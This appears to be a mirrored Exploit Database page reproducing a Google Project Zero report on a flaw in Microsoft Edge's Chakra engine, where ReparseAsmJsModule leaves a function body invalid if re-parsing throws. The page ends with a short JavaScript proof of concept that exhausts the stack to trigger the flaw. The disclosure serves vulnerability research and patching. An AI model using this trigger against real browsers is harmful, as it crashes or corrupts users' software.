Microsoft Edge Chakra – ‘JavascriptFunction::ReparseAsmJsModule’ Incorrectly Re-parses

• Exploit Database
• 16 阅读

• 作者： Google Security Research
  日期： 2017-09-21
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42766/

• <!--
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1327
  
  Here's the method used to re-parse asmjs modules.
  void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
  {
  ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
  Assert(functionInfo);
  functionInfo->GetFunctionBody()->AddDeferParseAttribute();
  functionInfo->GetFunctionBody()->ResetEntryPoint();
  functionInfo->GetFunctionBody()->ResetInParams();
  
  FunctionBody * funcBody = functionInfo->Parse(functionRef);
  
  #if ENABLE_PROFILE_INFO
  // This is the first call to the function, ensure dynamic profile info
  funcBody->EnsureDynamicProfileInfo();
  #endif
  
  (*functionRef)->UpdateUndeferredBody(funcBody);
  }
  
  First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).
  
  We can make it throw an exception simply by exhausting the stack. 
  
  PoC:
  -->
  
  function Module() {
  'use asm';
  
  function f() {
  }
  
  return f;
  }
  
  function recur() {
  try {
  recur();
  } catch (e) {
  Module(1);
  }
  }
  
  recur();